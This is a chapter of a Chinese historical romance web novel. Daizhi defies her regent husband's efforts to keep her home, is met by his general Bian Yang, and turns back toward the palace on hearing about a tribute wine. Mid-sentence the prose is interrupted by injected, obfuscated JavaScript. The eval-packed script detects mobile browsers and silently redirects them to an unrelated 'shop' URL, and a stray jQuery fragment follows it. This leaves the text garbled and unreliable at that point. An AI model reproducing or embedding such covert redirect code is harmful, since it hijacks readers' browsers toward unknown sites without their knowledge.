默认冷灰
24号文字
方正启体

4. 第4章

作者:月影客本书字数:K更新时间:
    祁连轩。


    安神香燃尽时,已是日晒三竿。


    光透窗牖,即便纹帘厚重,金黄日光依旧从缝隙漏进屋中,为轻纱帷帐镀上层浅浅的亮色。


    待日照一转,几缕光便似不经意般,钻入帐内,要扰人清梦。


    代之一张小脸露在被衾外,恬淡安适,红润朱唇紧抿,偶尔勾起浅笑弧度,睡得正香。


    却不妨一道光闪过眼皮。


    她白肤下圆溜溜的眼珠子一转,眼皮微刺,眉间蹙紧,旋即睁开眼。


    西域黑葡萄般大的眼珠子快速四转四顾。


    东南两面窗户皆被厚重灰毯盖住,似要把所有光亮挡在室外,叫屋内昏暗如同黑夜,骗人沉睡。


    此番还不够。


    床头外矮几上四角貔貅金笼外虽已没有余烟,但帷帐中桂花香气却浓得呛人。


    这是又故意叫人睡不醒?


    代之蹙眉,蹭地起身。


    两手推被,不妨带出张男人汗巾,正就弯弯绕绕缠在她右手手腕上。


    她的手腕因昨夜被容琛缠握,已留下一圈又一圈红色指痕,如今又添一圈那人白日缠腰夜里围兜的汗巾——


    昨夜,便是这张青灰色丝绸汗巾先缠连住二人,尔后又独独覆住一人半身,随着一静一动,熨帖勾勒出男人身上每一处遒劲有力的血肉线条,肌理勃勃......


    代之脸上一热,忙闭闭眼甩去脑海中冒出的荒唐画面,压着由愠意变作的燥意扯落汗巾。


    汗巾丝滑,一扯便开。


    散开来,平摊开,露出上面龙飞凤舞八个大字——且待吾归,任君责罚。


    代之:......


    明知她要气,为何还要用尽手段,阻她出门?


    不过是去个寻常酒家商铺,又非狼窟虎穴,至于他大费周章,先耍伎俩害她起不来床,又没皮没脸绑条汗巾在她手上讨饶?


    难道今日还是八年前八王叛乱时,洛城处处都是危险,出门便会遭劫?


    代之没吃容琛留下的一套花枪,将羞人汗巾塞入被衾底下,便掀了帷帐起身,欲洗漱出门。


    天色已过午时,贺兰家开窖吉时已然错过。


    但生意人最讲究言而有信,与贺兰家出席观礼的约定绝不可废,否则便要害了一个河西酒娘的名声。


    更何况代之如今还端着个亲民王妃的名声,她可不想叫人拿了端架子的话柄。


    守在门外的春娘听得内里动静,忙推门进来,正见代之在拧帕擦脸。


    代之白净的肌肤被打入室内的一束日光照得发亮,即便未做梳妆,亦如出尘脱俗的神女,美得不可方物,又清冷疏离,叫人不敢轻易靠近。


    春娘晃了晃眼,不敢细看细品,快步上前来替主子打下手。


    代之不言不语,错开春娘动作,将洗净的巾帕挂回高架,便转了身去镜前梳妆。


    春娘瞪了瞪眼:这是怄气了。


    她左右四顾。


    厚重的蔽日帘,浓郁的安神香,任是个傻子也知谁做了什么事儿。


    而王妃,又不是傻子。


    况且,任谁都看得出来,百年酒商之家出身的王妃,尤其看重今日到河西老乡贺兰家观开窖礼一事,可王爷却非因谨慎而耍了些手段阻王妃去观礼......瞧着,王妃已经给王爷记上一笔了。


    春娘暗暗给容琛捏了把汗,交握的双手掐了掐,跟至代之身旁,望着镜中人,笑说:“王妃莫急,王爷早差人将开窖贺礼送去贺兰家,您和王爷晚些到亦不碍事。”


    礼都到了,人到不到大概也不重要了。


    代之听出春娘话中深意,盘发的手顿了顿,却只一息,她默然又继续动作。


    三两下,一个利落大方的低盘髻已成,几缕散落碎发被她掖至耳后,与发簪流苏一同随主人一静一动,相映成趣。


    代之再看一眼镜中自己,未见有不得体之处,便起了身,又去挑衣。


    瞧着这架势,换过衣裳,便打算出门了。


    春娘眨眨眼,精明的一双小眼睛随代之移动转去,耳边却响起容琛临出门时交代的话。


    王爷还没回来,王妃便要出门吗?


    “时辰已太晚,不必等王爷,我先去贺兰家。”代之回的是春娘上一句话,却正中春娘心中嘀咕,“劳烦嬷嬷差人到宫中递话,若王爷宫中事忙,赶不上贺兰家观礼宴,且叫他在王府等我便可。”


    她说:“我快去快回。”


    鲜卑使者来访,作为摄政王的容琛昨日已缺席接风宴,还叫河西旧部五将追至祁连轩,想必今日定无法从接待来访一事中脱身,根本不会有闲暇去什么寻常商户家观一个泥坑开光。


    与其浪费时光等待,倒不如先斩后奏,快去快回,免得节外生枝。


    “王妃还是等等王爷罢?”春娘看着代之少见的冷脸,斟酌着词句,“从东郊到西郊路途不短,一路奔波颠簸,观礼宴又都是些市井小民,人多口杂,您独自前去,王爷如何能放心?”


    “如何不能放心?”代之断言驳斥,“东郊至西郊不过半个时辰脚程,市井小民又非豺狼虎豹,能比得上宫中那些握刀舞抢之人来得骇人?”


    “再说了,我哪里是一人前去,不是有你,有苏管家,还有一队乔装打扮的护从?”


    容琛不让代之随意独自出门,但他是日理万机的摄政王,无法日日守在她身边,是以他为她配的随从和护卫都不少,以防她真有突发出门之需。


    代之把束腰一系,命令道:“嬷嬷若不替我准备,我便亲自去马厩挑一匹快马,自驾而去。”


    代之生在大漠,长在马背,骑术本就精湛。


    若她真去马厩挑马自驾去贺兰家,谁能拦,谁又敢拦?


    春娘哪里还敢耽搁。


    她麻溜转头知会管家苏泗差人到宫中递话,便匆忙准备,与苏泗一道点了随从出发贺兰家。


    一行人快马加鞭,不出两刻钟,已过朱雀大街,正待要过青龙坊坊门时,却见一毛色锃亮的黑色骏马横立路道中间,生生挡住半边坊门。


    驾马的苏泗心中一喜,急急“吁”了一声。


    双马齐齐扬蹄,带得后头车厢一阵急晃,连颠簸惯了代之都差


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164404|196636||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点没坐稳。


    她堪堪扶正差点掉凳的春娘,“没闪着腰罢?”


    春娘扶着后腰,摇摇头,向代之连连道谢,转而凶着张脸隔帘朝外,“老苏,你驾的什么马。”


    外头人听了斥骂也不见恼,却还笑说:“是王爷......”


    春娘听见“王爷”二字,面容一怔,旋即也笑开,甚至比代之还要惊喜且急切地掀开马车门帘看外。


    容琛的坐骑逍遥横立路中,挡住了代之马车的前行。


    春娘大喜。


    王爷来了,就算不得她一个老奴纵容王妃独自去贺兰家观礼了。


    她急急忙忙出车厢准备迎王爷,却不妨又怔住。


    代之被春娘圆圆滚滚的身形挡住视线,只瞧见了逍遥,却还不见容琛,更不知外面光景。


    正当她疑惑春娘又停了动作时,外面传来一道洪亮声音。


    “见过王妃。”是卞杨的声音,“王爷正与皇上在太极殿宴请鲜卑使者,得知王妃要去贺兰家,放心不下,遂命属下亲自前来护送。”


    合着,不是王爷来,是王爷的旧部来。


    也好,只要是得了王爷应允的出行,做下人的总不必挨骂。


    春娘暗松口气,默默退回车厢。


    代之对春娘大喜大悲之色哭笑不得,但并不言说她,只同外道:“那便有劳卞将军。”


    大夏兵马大元帅护送臣妻去一个市井人家喝喜酒,实在滑天下之大稽。


    但容琛就喜小题大做。


    随他罢,总好过他当真派人来拦截她。


    全当兵马大元帅是要一同去给他贺兰家撑场面便是。


    代之默默安慰自己,又怕卞杨领这芝麻绿豆大的差事心中不快,遂寻着话头。


    “说来,那贺兰家还是咱们河西老乡呢。”代之隔着车窗与卞杨道:“昨日他们给送了坛酒到王府,很有河西风味,浓香馥郁,一会儿到了贺兰家,将军可得讨他们几口酒尝尝。”


    离乡游子只要遇上家乡之物,总要多夸赞几句。


    卞杨朗声笑应,“要说酒,还是得我们河西一带的美。”


    他道:“王妃不知,那鲜卑使者这次进贡的酒水中便有可遇不可求的淬锋烧,属下尝了两口,真是又烈又香又挠人......”


    “你说什么酒?”


    卞杨话到一半,被代之忽然掀开车帘的质问打断。


    他怔了怔,晃了晃神,才勉力半低眼睑,讷讷说:“淬锋烧。”


    “王爷也喝了淬锋烧?”代之追问。


    卞杨猛地抬眼,似惊似疑,待撞入代之明亮睁大的眸子时,又连忙低头,瓮声瓮气地把主公教的话说来:“王爷原是不喝的,但皇上不胜酒力,王爷便代皇上喝了几杯,算是全了鲜卑使者的面子。”


    言罢,他无辜抬眼,再看代之,疑惑问:“这酒是有什么问题吗?”


    这酒是有什么问题吗?


    这酒有没有问题,容琛自个儿不知道吗?


    代之心中连问两句,旋即一怒,将车帘一拉,“苏管家,掉头,咱们去宫城。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)